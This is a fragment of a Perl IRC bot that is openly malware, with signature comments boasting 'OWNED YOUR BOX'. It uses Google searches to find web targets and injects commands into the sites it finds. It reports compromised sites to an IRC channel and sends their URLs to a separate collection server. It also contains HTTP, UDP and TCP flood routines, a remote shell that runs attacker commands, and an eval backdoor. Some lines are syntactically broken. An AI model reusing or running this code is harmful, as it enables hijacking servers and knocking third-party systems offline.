sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Bugz :4 $boturl" ; sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Time :4 $1" ; srand; $b = -10; $xtime = $1; my $itime = time; my ($cur_time); my ($exploited); $boturl=$2; $cur_time = time - $itime;$exploited = 0; while($1>$cur_time){ $cur_time = time - $itime; @urls=fetch(); foreach $url (@urls) { $cur_time = time - $itime; my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/; $url2 ="http://".$path."/".$boturl."@cmdstring"; print "\n".$url2."\n\n"; my $req=HTTP::Request->new(GET=>$url2); my $ua=LWP::UserAgent->new(); $ua->timeout(10); my $response=$ua->request($req); if ($response->is_success) {
if( $response->content =~ m/<li><a
href=\"?https:\/\/www.apnic.net\/apnic-bin\/ca\/mylogin.pl([^0000]+)<?\//g){ push (@lstfulner,$1); $xdbug = $path."/".$boturl; $sminj = "cat /tmp/sminjkx | grep -i $xdbug"; $sminjx = `$sminj`; if ($sminjx eq "" { my $jadi = "http://".$xdbug."@infostring"; my $reqa=HTTP::Request->new(GET=>$jadi); my $uaf=LWP::UserAgent->new(); $uaf->timeout(10); my $respons_info=$uaf->request($reqa); $pageyx = $respons_info->content;
while ($pageyx =~ m/<A class=ria
href=\"?http:\/\/([^"]+)\"?>/g) { push (@info,$1); }
if ("@info" eq "" {
push (@info,"unknow" ; }
$schsl = "http://".$path."/".$boturl;
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Vulnerable15)12
Target :13 ".$schsl.$urlinjk." 4Info :7 @info" ;
$rikues =
"\x3F\x69\x73\x69\x3D\x79\x65\x73\x26\x62\x6F\x74\x6E\x69\x63\x6B\x3D$nick\x26\x62\x6F\x74\x68\x6F\x73\x74\x3D$realname\x26\x68\x61\x73\x69\x6C\x3D$schsl\x26\x6B\x65\x74\x3D[google
scan]\x26\x73\x63\x61\x6E\x69\x73\x3D$msgpriv\x26\x69\x6E\x66\x6F\x3D@info";
$rikues =~ s/\[/%5B/g; $rikues =~ s/\]/%5D/g; $rikues
=~ s/ /+/g; $rikues =~ s/:/%3A/g; $rikues =~
s/\(/%28/g; $rikues =~ s/\)/%29/g; $rikues =~ s/#/%231/g;
my $reqi=HTTP::Request->new(GET=>$dxh2o.$rikues);
my $uai=LWP::UserAgent->new();
$uai->timeout(10);
my $responsei=$uai->request($reqi);
system(`echo $xdbug >> /tmp/.sess_142003100003`);
my $sminjk = `echo $xdbug >> /tmp/sminjkx`; } } } else { print 'Errore: ',$path,$response->status_line, "\n"; } } } sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Finish15)12 Scan selesai dengan waktu4 $xtime 12detik." ; system(`rm -f /tmp/sminjkx`); } if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl
:15(7@2HTTP DDoSing15)12 Attacking4 ".$1.":80 12for4 ".$2."
12seconds." ; my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($2>$cur_time){ $cur_time = time - $itime; my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost:
".$1."\r\nConnection: Keep-Alive\r\n\r\n"; close($socket); } sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP15)12 Attacking done4 ".$1."." ; } if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP DDoSing15)12
Attacking4 ".$1." 12with4 ".$2." 12Kb packets for4 ".$3."
12seconds." ; my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3" ; $dtime = 1 if $dtime == 0; my %bytes; $bytes{igmp} = $2 * $pacotes{igmp}; $bytes{icmp} = $2 * $pacotes{icmp}; $bytes{o} = $2 * $pacotes{o}; $bytes{udp} = $2 * $pacotes{udp}; $bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP15)12 Sent4
".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb
in4 ".$dtime." 12seconds to4 ".$1."." ; } exit; } } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub ircase { my ($kem, $printl, $case) = @_; if ($case =~ /^join (.*)/) { j("$1" ; } if ($case =~ /^part (.*)/) { p("$1" ; } if ($case =~ /^rejoin\s+(.*)/) { my $chan = $1; if ($chan =~ /^(\d+) (.*)/) { for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2" ; j("$2" ; } } else { p("$chan" ; j("$chan" ; } } if ($case =~ /^op/) { op("$printl", "$kem" if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2" if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^deop/) { deop("$printl", "$kem" if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2" if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^msg\s+(\S+) (.*)/) { msg("$1", "$2" ; } if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3" ; } } if ($case =~ /^ctcp\s+(\S+) (.*)/) { ctcp("$1", "$2" ; } if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3" ; } } if ($case =~ /^nick (.*)/) { nick("$1" ; } if ($case =~ /^connect\s+(\S+)\s+(\S+)/) { conectar("$2", "$1", 6667); } if ($case =~ /^raw (.*)/) { sendraw("$1" ; } if ($case =~ /^eval (.*)/) { eval "$1"; } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub shell { my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1" || msg("$printl", "No such file or directory" ; return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp=`$comando 2>&1 3>&1`; my $c=0; foreach my $linha (@resp) { $c++; chop $linha; sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha" ; if ($c == "$linas_max" { $c=0; sleep $sleep; } } exit; } } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub tcpflooder { my $itime = time; my ($cur_time); my ($ia,$pa,$proto,$j,$l,$t); $ia=inet_aton($_[0]); $pa=sockaddr_in($_[1],$ia); $ftime=$_[2]; $proto=getprotobyname('tcp' ; $j=0;$l=0; $cur_time = time - $itime; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; socket($t,PF_INET,SOCK_STREAM,$proto); connect($t,$pa)||$j--; $j++;$l++; } $l=0; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; shutdown($t,2); $l++; } } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub udpflooder { my $iaddr = inet_aton($_[0]); my $msg = 'A' x $_[1]; my $ftime = $_[2]; my $cp = 0; my (%pacotes); $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; return(undef) if $cp == 4; my $itime = time; my ($cur_time); while ( 1 ) { for (my $porta = 1; $porta <= 65000; $porta++) { $cur_time = time - $itime; last if $cur_time >= $ftime; send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++; for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++; } } last if $cur_time >= $ftime; } return($cur_time, %pacotes); } sub ctcp { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001$_[1]\001" ; } sub msg { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :$_[1]" ; } sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]" ; } sub op { return unless $#_ == 1; sendraw("MODE $_[0] +o $_[1]" ; } sub deop { return unless $#_ == 1; sendraw("MODE $_[0] -o $_[1]" ; } sub j { &join(@_); } sub join { return unless $#_ == 0; sendraw("JOIN $_[0]" ; } sub p { part(@_); } sub part { sendraw("PART $_[0]" ; } sub nick { return unless $#_ == 0; sendraw("NICK $_[0]" ; } sub quit { sendraw("QUIT :$_[0]" ; } # dr.pluto OWNED YOUR BOX # surabayahacker.phpnet.us # pluto_devils@yahoo.com sub fetch(){ my $rnd=(int(rand(9999))); my $n= 80; if ($rnd<5000) { $n<<=1;} my $s= (int(rand(10)) * $n); $b = $b + 10; {
my @dominios =
("com","net","org","info","gov","gob","gub","xxx","it","uk","wx","eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec","py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop","af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi","vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk","ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir","iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke","ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm","na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc","sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz","vu","vn","ye","yu","cd","zm","zw","" ; my @str; foreach $dom (@dominios) { push (@str,"@gstring" ; } my $query="www.google.com/search?q="; $query.=$str[(rand(scalar(@str)))]; $query.="&start=$b"; my @lst=(); my $page = http_query($query); while ($page =~ m/<h2 class=r><a href=\"?http:\/\/([^>\"]+)\"? class=l/g){ push (@lst,$1); } return (@lst); } sub http_query($){ my ($url) = @_; my $host=$url; my $query=$url; my $page=""; $host =~ s/href=\"?http:\/\///; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $query =~s/$host//; if ($query eq "" {$query="/";}; eval { local $SIG{ALRM} = sub { die "1";}; alarm 10; my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp" or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page="@r"; alarm 0; close($sock); }; return $page; } }
View Comments (0)
|
Sorry, your account does not have access to post comments.